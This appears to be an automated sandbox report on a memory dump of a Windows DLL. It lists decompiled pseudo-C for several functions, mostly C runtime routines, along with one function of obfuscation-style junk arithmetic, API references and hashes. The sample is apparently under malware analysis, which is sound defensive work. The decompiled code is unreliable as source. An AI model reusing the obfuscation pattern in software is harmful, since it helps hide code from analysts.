0x6e184cc7
0x6e184cca
0x6e184d15
0x6e184d1a
0x6e184d1d
0x6e184d24
0x6e184d24
0x6e184d2a
0x6e184d2a
0x6e184d32
0x6e184d38
0x00000000
0x6e184d38
0x6e184ccc
0x6e184ccd
0x6e184ccf
0x6e184cd2
0x6e184cd4
0x6e184cd7
0x6e184cd9
0x6e184cb3
0x6e184cb3
0x00000000
0x6e184cb3
0x6e184cdb
0x00000000
0x00000000
0x00000000
0x6e184cdb
0x6e184ca9
0x00000000
0x00000000
0x6e184cab
0x6e184cb1
0x00000000
0x00000000
0x00000000
0x6e184cdd
0x6e184cdd
0x6e184cdd
0x6e184ce5
0x6e184ceb
0x6e184cf0
0x6e184cf3
0x6e184cf3
0x00000000
0x6e184cf3
0x6e184c87
0x00000000
0x6e184c87
0x6e184c66
0x6e184c68
0x00000000
0x00000000
0x00000000
0x6e184c68
0x6e184c2e
0x00000000

APIs

_free.LIBCMT ref: 6E184D32

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 47d6a8213db303e13cbec46049cfea82dee2a749ffe1de73741a74681c84a81e
Instruction ID: db99a5ec5a53c4f9f6b44dec9d9aa019ac9571d90e79a4c1b640932c70dfc646
Opcode Fuzzy Hash: 47d6a8213db303e13cbec46049cfea82dee2a749ffe1de73741a74681c84a81e
Instruction Fuzzy Hash: 3C4109316005146ADB209FF98C50ADF3ABDEF56764F244A15F81897294DF7448C37E61

Uniqueness

Uniqueness Score: -1.00%

Function 6E17A2E0, Relevance: 6.1, APIs: 4, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E6E17A2E0(void* _a4, intOrPtr* _a8) {
				char _v5;
				intOrPtr _v12;
				char _v16;
				signed int _t44;
				char _t47;
				intOrPtr _t50;
				signed int _t52;
				signed int _t56;
				signed int _t57;
				void* _t59;
				signed int _t63;
				signed int _t65;
				char _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t75;
				void* _t76;
				void* _t77;
				signed int _t80;
				intOrPtr _t82;
				void* _t86;
				signed int _t87;
				void* _t89;
				signed int _t91;
				intOrPtr* _t98;
				void* _t101;
				intOrPtr _t102;
				intOrPtr _t103;

				_t101 = _a4;
				if(_t101 != 0) {
					_t80 = 9;
					memset(_t101, _t44 | 0xffffffff, _t80 << 2);
					_t98 = _a8;
					__eflags = _t98;
					if(_t98 != 0) {
						_t82 =  *((intOrPtr*)(_t98 + 4));
						_t47 =  *_t98;
						_v16 = _t47;
						_v12 = _t82;
						__eflags = _t82 - 0xffffffff;
						if(__eflags > 0) {
							L7:
							_t89 = 7;
							__eflags = _t82 - _t89;
							if(__eflags < 0) {
								L12:
								_v5 = 0;
								_t50 = E6E17A42D(_t82, __eflags,  &_v16,  &_v5);
								_t75 = _v16;
								 *((intOrPtr*)(_t101 + 0x14)) = _t50;
								_t52 = E6E18F3C0(_t75, _v12, 0x15180, 0);
								 *(_t101 + 0x1c) = _t52;
								_t86 = 0x6e1aff80;
								_t76 = _t75 - _t52 * 0x15180;
								asm("sbb eax, edx");
								__eflags = _v5;
								if(_v5 == 0) {
									_t86 = 0x6e1aff4c;
								}
								_t91 =  *(_t101 + 0x1c);
								_t56 = 1;
								__eflags =  *((intOrPtr*)(_t86 + 4)) - _t91;
								if( *((intOrPtr*)(_t86 + 4)) >= _t91) {
									L16:
									_t57 = _t56 - 1;
									 *(_t101 + 0x10) = _t57;
									 *((intOrPtr*)(_t101 + 0xc)) = _t91 -  *((intOrPtr*)(_t86 + _t57 * 4));
									_t59 = E6E18F3C0( *_t98,  *((intOrPtr*)(_t98 + 4)), 0x15180, 0);
									_t87 = 7;
									asm("cdq");
									 *(_t101 + 0x18) = (_t59 + 4) % _t87;
									_t63 = E6E18F3C0(_t76, _v12, 0xe10, 0);
									 *(_t101 + 8) = _t63;
									_t77 = _t76 - _t63 * 0xe10;
									asm("sbb edi, edx");
									_t65 = E6E18F3C0(_t77, _v12, 0x3c, 0);
									 *(_t101 + 0x20) =  *(_t101 + 0x20) & 0x00000000;
									 *(_t101 + 4) = _t65;
									_t67 = 0;
									__eflags = 0;
									 *_t101 = _t77 - _t65 * 0x3c;
									L17:
									return _t67;
								} else {
									do {
										_t56 = _t56 + 1;
										__eflags =  *((intOrPtr*)(_t86 + _t56 * 4)) - _t91;
									} while ( *((intOrPtr*)(_t86 + _t56 * 4)) < _t91);
									goto L16;
								}
							}
							if(__eflags > 0) {
								L10:
								_t68 = E6E17BB7E();
								_t102 = 0x16;
								 *_t68 = _t102;
								L11:
								_t67 = _t102;
								goto L17;
							}
							__eflags = _t47 - 0x934126cf;
							if(__eflags <= 0) {
								goto L12;
							}
							goto L10;
						}
						if(__eflags < 0) {
							goto L10;
						}
						__eflags = _t47 - 0xffff5740;
						if(_t47 < 0xffff5740) {
							goto L10;
						}
						goto L7;
					}
					_t69 = E6E17BB7E();
					_t102 = 0x16;
					 *_t69 = _t102;
					E6E178929();
					goto L11;
				}
				_t71 = E6E17BB7E();
				_t103 = 0x16;
				 *_t71 = _t103;
				E6E178929();
				return _t103;
			}

0x6e17a2e9
0x6e17a2ee
0x6e17a30e
0x6e17a30f
0x6e17a311
0x6e17a314
0x6e17a316
0x6e17a329
0x6e17a32c
0x6e17a32e
0x6e17a331
0x6e17a334
0x6e17a337
0x6e17a342
0x6e17a344
0x6e17a345
0x6e17a347
0x6e17a363
0x6e17a367
0x6e17a370
0x6e17a375
0x6e17a37c
0x6e17a389
0x6e17a38e
0x6e17a398
0x6e17a39d
0x6e17a3a2
0x6e17a3a4
0x6e17a3ab
0x6e17a3ad
0x6e17a3ad
0x6e17a3b2
0x6e17a3b7
0x6e17a3b8
0x6e17a3bb
0x6e17a3c3
0x6e17a3c3
0x6e17a3c4
0x6e17a3d2
0x6e17a3da
0x6e17a3e7
0x6e17a3e8
0x6e17a3f2
0x6e17a3f8
0x6e17a402
0x6e17a409
0x6e17a40d
0x6e17a411
0x6e17a416
0x6e17a41a
0x6e17a422
0x6e17a422
0x6e17a424
0x6e17a427
0x00000000
0x6e17a3bd
0x6e17a3bd
0x6e17a3bd
0x6e17a3be
0x6e17a3be
0x00000000
0x6e17a3bd
0x6e17a3bb
0x6e17a349
0x6e17a352
0x6e17a352
0x6e17a359
0x6e17a35a
0x6e17a35c
0x6e17a35c
0x00000000
0x6e17a35c
0x6e17a34b
0x6e17a350
0x00000000
0x00000000
0x00000000
0x6e17a350
0x6e17a339
0x00000000
0x00000000
0x6e17a33b
0x6e17a340
0x00000000
0x00000000
0x00000000
0x6e17a340
0x6e17a318
0x6e17a31f
0x6e17a320
0x6e17a322
0x00000000
0x6e17a322
0x6e17a2f0
0x6e17a2f7
0x6e17a2f8
0x6e17a2fa
0x00000000

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d4cc6db7d9208ef9f480587d2c2f10d3f617e4772b2f21e5212bbab0f34e70f
Instruction ID: 391480961ac8c703b5fca848a3036483df1f1f6470fabcaa535eed1b7b5032bf
Opcode Fuzzy Hash: 2d4cc6db7d9208ef9f480587d2c2f10d3f617e4772b2f21e5212bbab0f34e70f
Instruction Fuzzy Hash: 6241D872604344AFDB24DFF8CC41B9A7BADEB89B14F20492AE552DB280D771D9819780

Uniqueness

Uniqueness Score: -1.00%

Function 6E185C7C, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E6E185C7C(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				void* _t65;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t34 ^ _t70;
				E6E179118(__ebx,  &_v28, _t65, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0xc0b0a09
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E6E173D51(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0xc
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E6E1757E0(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E6E1735A7(_t69);
					goto L15;
				}
				_t20 = _t55 + 8; // 0xc
				asm("sbb eax, eax");
				_t48 = _t40 & _t20;
				_t21 = _t55 + 8; // 0xc
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E6E17FBEC(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E6E174540();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x6e185c84
0x6e185c8b
0x6e185c97
0x6e185c9c
0x6e185ca1
0x6e185ca6
0x6e185ca6
0x6e185ca9
0x6e185cab
0x6e185cab
0x6e185cb0
0x6e185cc9
0x6e185ccf
0x6e185cd4
0x6e185d73
0x6e185d77
0x6e185d7c
0x6e185d7c
0x6e185d98
0x6e185d98
0x6e185cda
0x6e185cdd
0x6e185ce2
0x6e185ce6
0x6e185d32
0x6e185d34
0x6e185d36
0x6e185d3b
0x6e185d52
0x6e185d5a
0x6e185d6a
0x6e185d6a
0x6e185d5a
0x6e185d6c
0x6e185d6d
0x00000000
0x6e185d72
0x6e185ce8
0x6e185ced
0x6e185cef
0x6e185cf1
0x6e185cf1
0x6e185cf9
0x6e185d16
0x6e185d20
0x6e185d25
0x00000000
0x00000000
0x6e185d27
0x6e185d2d
0x6e185d2d
0x00000000
0x6e185d2d
0x6e185cfd
0x6e185d01
0x6e185d06
0x6e185d0a
0x00000000
0x00000000
0x6e185d0c
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,6E1AF9E8,00000000,00000000,8B56FF8B,6E18142E,?,00000004,00000001,6E1AF9E8,0000007F,?,8B56FF8B,00000001), ref: 6E185CC9
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6E185D52
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6E185D64
__freea.LIBCMT ref: 6E185D6D

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 2d676e72367b3786a8b0d9842e4ade88be525ae29d5f9219b6686952ac579377
Instruction ID: 58efb2adac237cb6662b86579c7942bdd61da6171e43db3fc25dc78ef3d24ea2
Opcode Fuzzy Hash: 2d676e72367b3786a8b0d9842e4ade88be525ae29d5f9219b6686952ac579377
Instruction Fuzzy Hash: 7E31E172A0020AABDF24CFA4CC68EEF3BA9EF40710F154628EC15D7150E735C991EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E18365C, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6E18365C(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x6e253980 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x6e1affb8 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x55e3ddbc
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x6e183661
0x6e183665
0x6e18366c
0x6e183670
0x6e18367e
0x6e183694
0x6e183698
0x6e1836c1
0x6e1836c3
0x6e1836c7
0x6e1836ca
0x6e1836ca
0x6e1836d0
0x6e1836d2
0x00000000
0x6e1836d3
0x6e18369a
0x6e1836a3
0x6e1836b2
0x6e1836a5
0x6e1836a8
0x6e1836ae
0x6e1836ae
0x6e1836b6
0x00000000
0x6e1836b8
0x6e1836bb
0x6e1836bd
0x00000000
0x6e1836bd
0x6e1836b6
0x6e183672
0x6e183677
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,0000060B,00000000,00000000,?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,FlsSetValue), ref: 6E18368E
GetLastError.KERNEL32(?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,FlsSetValue,6E1B0580,FlsSetValue,00000000,00000364,?,6E17FAD8), ref: 6E18369A
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6E183603,0000060B,00000000,00000000,00000000,?,6E18392F,00000006,FlsSetValue,6E1B0580,FlsSetValue,00000000), ref: 6E1836A8

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed24bc227a00d65366512db444f36434ba4495c770f916a1116e57cb51c339d3
Instruction ID: b0c831ba2c534681832d0f5d81fd8e634d50044db6470ba482354883386e06b4
Opcode Fuzzy Hash: ed24bc227a00d65366512db444f36434ba4495c770f916a1116e57cb51c339d3
Instruction Fuzzy Hash: C6012432755622ABCB124ABD8C0CA47B798BF07BA07360620F825D3340CB21DD82DEF0

Uniqueness

Uniqueness Score: -1.00%

Function 6E168730, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6E168730() {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _t19;
				signed int _t22;
				signed int _t26;
				intOrPtr _t29;
				signed int _t38;
				signed int _t40;
				signed int _t41;
				intOrPtr _t42;
				signed int _t46;
				signed int _t49;
				signed int _t52;
				signed int _t53;
				signed int _t57;
				signed int _t63;
				signed int _t71;
				intOrPtr _t72;
				signed int _t74;
				signed int _t76;
				intOrPtr _t80;
				signed int _t81;
				signed int _t84;
				signed int _t87;
				intOrPtr _t90;
				signed int _t94;
				intOrPtr _t97;
				signed int _t99;
				intOrPtr _t101;
				signed int _t105;
				intOrPtr _t106;
				signed int _t109;
				signed int _t110;
				signed int _t111;
				signed int _t116;
				signed int _t118;

				_t19 =  *0x6e1bb0d8; // 0xf2b6e6
				 *0x6e1bb008 = _t19 + 5 -  *0x6e1bb000;
				 *0x6e1bb00c = 0;
				_t22 =  *0x6e1bb008; // 0x58226284
				 *0x6e1bb0d8 = _t22 -  *0x6e1bb0d0 * 0x2f;
				 *0x6e1bd304 = 0x1b;
				while( *0x6e1bd304 > 1) {
					_t84 =  *0x6e1bb0d8; // 0xf2b6e6
					if(_t84 !=  *0x6E1BB024) {
						_t116 =  *0x6e1bb0d0; // 0xba22623c
						 *0x6e1bb0d8 = _t116 - 0x48;
						_t52 =  *0x6e1bd304; // 0x18
						_t118 =  *0x6e1bd304; // 0x18
						 *((intOrPtr*)(0x6e1bb010 + _t118 * 4)) =  *((intOrPtr*)(0x6e1bb010 + _t52 * 4)) +  *0x6e1bb0d8;
						_t53 =  *0x6e1bb0d8; // 0xf2b6e6
						 *0x6e1bb0d0 = _t53 + 5 -  *0x6e1bb0d8;
					}
					_t87 =  *0x6e1bd304; // 0x18
					 *0x6e1bd304 = _t87 - 1;
				}
				_t57 =  *0x6e1bb0d8; // 0xf2b6e6
				_t90 =  *0x6e1bb004; // 0x36cd9a35
				 *0x6e1bb004 = _t90 - _t57 + 2 +  *0x6e1bb008;
				 *0x6e1bb008 = E6E1671B0( *0x6e1bb0d4 & 0x000000ff);
				 *0x6e1bb00c = 0;
				_t26 =  *0x6e1bb008; // 0x58226284
				 *0x6e1bb0d8 = _t26 -  *0x6e1bb0d0 * 0x2f;
				 *0x6e1bb0d0 = GetCurrentDirectoryA(0x70b, 0x6e1bc618);
				asm("adc edx, [0x6e1bb00c]");
				 *0x6e1bb008 =  *0x6e1bb0d8 * 0x268e +  *0x6e1bb008;
				 *0x6e1bb00c = 0;
				_t29 =  *0x6e1bb00c; // 0x0
				_t63 =  *0x6e1bb008; // 0x58226284
				_t94 =  *0x6e1bb0d0; // 0xba22623c
				E6E168B90(0x6e252da0, "Written");
				E6E16AC70(__eflags, _t94);
				E6E168B90(E6E16AE00(__eflags, _t63, _t29), "Compare");
				__eflags =  *0x6E1BB048 +  *0x6ED68BBD - 0x2af;
				if( *0x6E1BB048 +  *0x6ED68BBD != 0x2af) {
					_t97 =  *0x6e1bb000; // 0x5a2
					 *0x6E1BB010 = _t97 -  *0x6e1bb0d8 * 0x2f;
					_t99 =  *0x6e1bb0d8; // 0xf2b6e6
					_t38 =  *0x6e1bb0d8; // 0xf2b6e6
					_t10 = _t99 - 0xb401; // 0xf202e5
					asm("adc edx, [0x6e1bb00c]");
					_t71 = _t38 + _t10 +  *0x6e1bb008 +  *0x6e1bb008;
					__eflags = _t71;
					asm("adc edx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t71;
					 *0x6e1bb00c = 0;
				} else {
					_t81 =  *0x6e1bb008; // 0x58226284
					 *0x6e1bb0d8 = _t81 - 0x18 +  *0x6e1bb0d8;
					_t111 =  *0x6e1bb0d8; // 0xf2b6e6
					asm("adc eax, [0x6e1bb00c]");
					 *0x6e1bb008 = _t111 - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
					 *0x6e1bb00c = 0;
				}
				_t72 =  *0x6e1bb000; // 0x5a2
				 *0x6e1bb0d0 = _t72 -  *0x6e1bb0d8 * 0x2f;
				 *0x6e1bd304 = 3;
				while(1) {
					__eflags =  *0x6e1bd304 - 0x18;
					if( *0x6e1bd304 >= 0x18) {
						break;
					}
					_t74 =  *0x6e1bb0d8; // 0xf2b6e6
					__eflags = _t74 -  *((intOrPtr*)(0x6ed68bbd));
					if(_t74 !=  *((intOrPtr*)(0x6ed68bbd))) {
						_t105 =  *0x6e1bd304; // 0x18
						_t106 =  *0x6e1bb00c; // 0x0
						_t46 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb008 = E6E173D70(_t46, _t106,  *((intOrPtr*)(0x6e1bb010 + _t105 * 4)), 0);
						 *0x6e1bb00c = _t106;
						_t76 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t76 + 5 -  *0x6e1bb000;
						_v12 =  *0x6E1BB038;
						_v8 = 0;
						_t49 =  *0x6e1bb008; // 0x58226284
						__eflags = _t49 - _v12;
						if(_t49 != _v12) {
							L17:
							goto L10;
						} else {
							_t80 =  *0x6e1bb00c; // 0x0
							__eflags = _t80 - _v8;
							if(_t80 != _v8) {
								goto L17;
							} else {
							}
						}
					} else {
						L10:
						_t109 =  *0x6e1bd304; // 0x18
						_t110 = _t109 + 1;
						__eflags = _t110;
						 *0x6e1bd304 = _t110;
						continue;
					}
					break;
				}
				_t101 =  *0x6e1bb000; // 0x5a2
				_t40 =  *0x6e1bb0d8; // 0xf2b6e6
				_t41 = _t40 + _t101 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb0d8;
				__eflags = _t41;
				 *0x6e1bb0d8 = _t41;
				_t42 =  *0x6e1bb004; // 0x36cd9a35
				return _t42;
			}

0x6e168736
0x6e168746
0x6e16874b
0x6e168758
0x6e16875f
0x6e168764
0x6e16877f
0x6e168790
0x6e16879c
0x6e1687a0
0x6e1687a9
0x6e1687af
0x6e1687c1
0x6e1687c7
0x6e1687ce
0x6e1687dc
0x6e1687dc
0x6e168770
0x6e168779
0x6e168779
0x6e1687e3
0x6e1687f2
0x6e1687fa
0x6e168812
0x6e168817
0x6e168824
0x6e16882b
0x6e168840
0x6e168857
0x6e16885d
0x6e168863
0x6e16886e
0x6e168874
0x6e16887b
0x6e16888c
0x6e168896
0x6e1688a3
0x6e1688c7
0x6e1688cc
0x6e168914
0x6e168924
0x6e16892a
0x6e168930
0x6e168935
0x6e168944
0x6e16894a
0x6e16894a
0x6e168950
0x6e168956
0x6e16895c
0x6e1688ce
0x6e1688ce
0x6e1688dd
0x6e1688e3
0x6e1688fa
0x6e168900
0x6e168906
0x6e168906
0x6e168969
0x6e168971
0x6e168977
0x6e168992
0x6e168992
0x6e168999
0x00000000
0x00000000
0x6e1689a7
0x6e1689ad
0x6e1689b3
0x6e1689b7
0x6e1689c8
0x6e1689cf
0x6e1689da
0x6e1689df
0x6e1689e5
0x6e1689f4
0x6e168a0a
0x6e168a0d
0x6e168a10
0x6e168a15
0x6e168a18
0x6e168a27
0x00000000
0x6e168a1a
0x6e168a1a
0x6e168a20
0x6e168a23
0x00000000
0x00000000
0x6e168a25
0x6e168a23
0x6e1689b5
0x6e168983
0x6e168983
0x6e168989
0x6e168989
0x6e16898c
0x00000000
0x6e16898c
0x00000000
0x6e1689b3
0x6e168a2c
0x6e168a44
0x6e168a49
0x6e168a49
0x6e168a4b
0x6e168a50
0x6e168a58

APIs

GetCurrentDirectoryA.KERNEL32(0000070B,6E1BC618), ref: 6E16883A

Strings

Written, xrefs: 6E168882
Compare, xrefs: 6E168869

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentDirectory
String ID: Compare$Written
API String ID: 1611563598-2184768711
Opcode ID: 10edc6a12894d5922f50f50ba5fd0127dd52b168e628a6bf66980f7eb750b5ef
Instruction ID: 8a36b2e3c263c7f8d3b419efaad518711a9abca027943dd68406952b24f9b290
Opcode Fuzzy Hash: 10edc6a12894d5922f50f50ba5fd0127dd52b168e628a6bf66980f7eb750b5ef
Instruction Fuzzy Hash: E381E5B0D08A088FCB28DF69C5D5E3D3BB1FB8A304B54C119D52987A99E7346984FB50

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C22A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E6E18C22A(void* __ecx, signed int _a4, intOrPtr _a8) {
				int _v8;
				void* __esi;
				int _t15;
				int _t16;
				signed int _t17;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t36;

				_push(__ecx);
				_t23 = _a4;
				_push(_t34);
				if(_t23 == 0) {
					L21:
					_t15 = E6E183961(_t23, _t34, __eflags, _a8 + 0x250, 0x20001004,  &_v8, 2);
					__eflags = _t15;
					if(_t15 != 0) {
						_t16 = _v8;
						__eflags = _t16;
						if(_t16 == 0) {
							_t16 = GetACP();
						}
						L25:
						return _t16;
					}
					L22:
					_t16 = 0;
					goto L25;
				}
				_t17 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t34 = 0x6e1b1648;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t34) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t17;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t36 = 0x6e1b1650;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t36) {
								break;
							}
							if(_t31 == 0) {
								L17:
								_t48 = _t17;
								if(_t17 != 0) {
									_t16 = E6E17F58D(_t23, _t23);
									goto L25;
								}
								if(E6E183961(_t23, _t36, _t48, _a8 + 0x250, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t16 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t36 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t36 = _t36 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t17 = _t17 | 0x00000001;
						__eflags = _t17;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t34 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t34 = _t34 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				__eflags = _t26;
				goto L9;
			}

0x6e18c22f
0x6e18c230
0x6e18c233
0x6e18c237
0x6e18c2dd
0x6e18c2f1
0x6e18c2f6
0x6e18c2f8
0x6e18c2fe
0x6e18c301
0x6e18c303
0x6e18c305
0x6e18c305
0x6e18c30b
0x6e18c310
0x6e18c310
0x6e18c2fa
0x6e18c2fa
0x00000000
0x6e18c2fa
0x6e18c23d
0x6e18c242
0x00000000
0x00000000
0x6e18c248
0x6e18c24d
0x6e18c24f
0x6e18c24f
0x6e18c255
0x00000000
0x00000000
0x6e18c25a
0x6e18c271
0x6e18c271
0x6e18c27a
0x6e18c27c
0x00000000
0x00000000
0x6e18c27e
0x6e18c283
0x6e18c285
0x6e18c285
0x6e18c28b
0x00000000
0x00000000
0x6e18c290
0x6e18c2ae
0x6e18c2ae
0x6e18c2b0
0x6e18c2d5
0x00000000
0x6e18c2da
0x6e18c2cd
0x00000000
0x00000000
0x6e18c2cf
0x00000000
0x6e18c2cf
0x6e18c292
0x6e18c29a
0x00000000
0x00000000
0x6e18c29c
0x6e18c29f
0x6e18c2a5
0x00000000
0x00000000
0x00000000
0x6e18c2a7
0x6e18c2a9
0x6e18c2ab
0x6e18c2ab
0x00000000
0x6e18c2ab
0x6e18c25c
0x6e18c264
0x00000000
0x00000000
0x6e18c266
0x6e18c269
0x6e18c26f
0x00000000
0x00000000
0x00000000
0x6e18c26f
0x6e18c275
0x6e18c277
0x6e18c277
0x00000000

APIs

